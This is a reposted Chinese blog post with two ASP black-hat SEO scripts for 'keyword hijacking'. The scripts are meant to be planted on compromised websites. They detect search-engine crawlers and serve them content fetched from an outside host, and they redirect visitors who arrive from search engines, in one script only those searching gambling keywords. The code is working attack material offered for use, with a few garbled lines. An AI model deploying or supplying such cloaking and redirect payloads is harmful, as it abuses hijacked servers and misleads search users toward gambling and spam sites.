搜索引擎关键词劫持之asp篇

摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断...

黑帽SEO代码一:

  1. <
  2. function GetBot() 
  3. '查询蜘蛛 
  4. dim s_agent 
  5. GetBot="" 
  6. s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句 
  7. if instr(1,s_agent,"googlebot",1) >0 then 
  8. GetBot="google" 
  9. end if 
  10. if instr(1,s_agent,"msnbot",1) >0 then 
  11. GetBot="MSN" 
  12. end if 
  13. if instr(1,s_agent,"slurp",1) >0 then 
  14. GetBot="Yahoo" 
  15. end if 
  16. if instr(1,s_agent,"baiduspider",1) >0 then 
  17. GetBot="baidu" 
  18. end if 
  19. if instr(1,s_agent,"sohu-search",1) >0 then 
  20. GetBot="Sohu" 
  21. end if 
  22. if instr(1,s_agent,"lycos",1) >0 then 
  23. GetBot="Lycos" 
  24. end if 
  25. if instr(1,s_agent,"robozilla",1) >0 then 
  26. GetBot="Robozilla" 
  27. end if 
  28. end function 
  29. Function getHTTPPage(Path) 
  30. t = GetBody(Path) 
  31. getHTTPPage=BytesToBstr(t,"GB2312")'编码 
  32. End function 
  33. Function Newstring(wstr,strng) 
  34. Newstring=Instr(lcase(wstr),lcase(strng)) 
  35. if Newstring<=0 then Newstring=Len(wstr) 
  36. End Function 
  37. Function GetBody(url) 
  38. on error resume next 
  39. Set Retrieval = CreateObject("Microsoft.XMLHTTP") 
  40. With Retrieval 
  41. .Open "Get", url, False, "", "" 
  42. .Send 
  43. GetBody = .ResponseBody 
  44. End With 
  45. Set Retrieval = Nothing 
  46. End Function 
  47. Function BytesToBstr(body,Cset) 
  48. dim objstream 
  49. set objstream = Server.CreateObject("adodb.stream") 
  50. objstream.Type = 1 
  51. objstream.Mode =3 
  52. objstream.Open 
  53. objstream.Write body 
  54. objstream.Position = 0 
  55. objstream.Type = 2 
  56. objstream.Charset = Cset 
  57. BytesToBstr = objstream.ReadText 
  58. objstream.Close 
  59. set objstream = nothing 
  60. End Function 
  61. Dim wstr,str,url,start,over,dtime 
  62. if GetBot="baidu" then 
  63. '给百度蜘蛛定制的内容 
  64. url="http://www.yunsec.net" 
  65. '想要展示给蜘蛛的页面地址 
  66. wstr=getHTTPPage(url) 
  67. body=wstr 
  68. response.write ""&body&"" 
  69. response.end 
  70. elseif GetBot="google" then 
  71. '给google 蜘蛛定制的内容 
  72. url="http://www.yunsec.net" 
  73. wstr=getHTTPPage(url) 
  74. body=wstr 
  75. response.write ""&body&"" 
  76. response.end 
  77. end if 
  78. if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then 
  79. '如果用户来自www.baidu.com 
  80. response.redirect("http://www.yunsec.net/") 
  81. '跳转指定地址 
  82. end if 
  83. %> 

黑帽SEO二

    1. <
    2. function hasKey() 
    3. dim urlrefer,i,searray 
    4. urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) 
    5. hasKeyfalse 
    6. if urlrefer="" then fromsefalse 
    7. searray=array("%e7%9c%9f%e9%92%b1%e6%b8%b8%e6%88%8f","%e9%be%99%e8%99%8e%e6%96%97","%e7%9c%9f%e9%92%b1%e9%be%99%e8%99%8e%e6%96%97","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9%e7%bd%91","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9,%d5%e6%c7%ae%d3%ce%cf%b7","%d5%e6%c7%ae%c1%fa%bb%a2%b6%b7","%b2%c6%c9%f1%b2%a9%b2%ca%cd%f8","%b2%c6%c9%f1%b2%a9%b2%ca") 
    8. for i=0 to ubound(searray) 
    9. if (instr(urlrefer,searray(i))>0) then hasKey=true 
    10. next 
    11. end function 
    12.  
    13. function fromse() 
    14. dim urlrefer,i,searray 
    15. urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) 
    16. fromsefalse 
    17. if urlrefer="" then fromsefalse 
    18. searray=array("google","baidu","sogou","yahoo","soso") 
    19. for i=0 to ubound(searray) 
    20. if (instr(urlrefer,searray(i))>0) then fromse=true 
    21. next 
    22. end function 
    23.  
    24. function isspider() 
    25. dim agent,searray,i 
    26. agent="agent:"&LCase(request.servervariables("http_user_agent")) 
    27. searray=array("googlebot","baiduspider","sogou","yahoo","soso") 
    28. isspiderfalse 
    29. for i=0 to ubound(searray) 
    30. if (instr(agent,searray(i))>0) then isspider=true 
    31. next 
    32. end function 
    33.  
    34. function gethttp(url) 
    35.   dim http 
    36.   set http=createobject("MSXML2.XMLHTTP") 
    37.   Http.open "GET",url,false 
    38.   Http.send() 
    39.   if Http.readystate<>4 then 
    40.     exit function 
    41.   end if 
    42.   gethttp=bytes2BSTR(Http.responseBody) 
    43.   set http=nothing 
    44.   if err.number<>0 then err.Clear 
    45. end function 
    46.  
    47. function bytes2BSTR(vIn) 
    48.   dim strReturn 
    49.   dim i,ThisCharCode,NextCharCode 
    50.   strReturn = "" 
    51.   For i = 1 To LenB(vIn) 
    52.   ThisCharCode = AscB(MidB(vIn,i,1)) 
    53.   If ThisCharCode < &H80 Then 
    54.   strReturnstrReturn = strReturn & Chr(ThisCharCode) 
    55.   Else 
    56.   NextCharCode = AscB(MidB(vIn,i+1,1)) 
    57.   strReturnstrReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
    58.   ii = i + 1 
    59.   End If 
    60.   Next 
    61.   bytes2BSTR = strReturn 
    62. End function 
    63.  
    64.  
    65. if(fromse() and hasKey()) then 
    66.   Response.Redirect ("http://www.yunsec.net") 
    67. end if 
    68.  
    69. if(isspider()) then 
    70.     dim myfso,fileurl,filecon,myfile,remotehtml,bodyurl 
    71.     bodyurl="http://www.yunsec.net/hack.htm" 
    72.     response.clear 
    73.     remotehtml=gethttp(bodyurl) 
    74.     response.write(remotehtml) 
    75.     response.write("<!--"&now()&"-->") 
    76.     response.flush 
    77. end if 
    78.  
    79. %>

转载于:https://www.cnblogs.com/cncz/articles/3777128.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值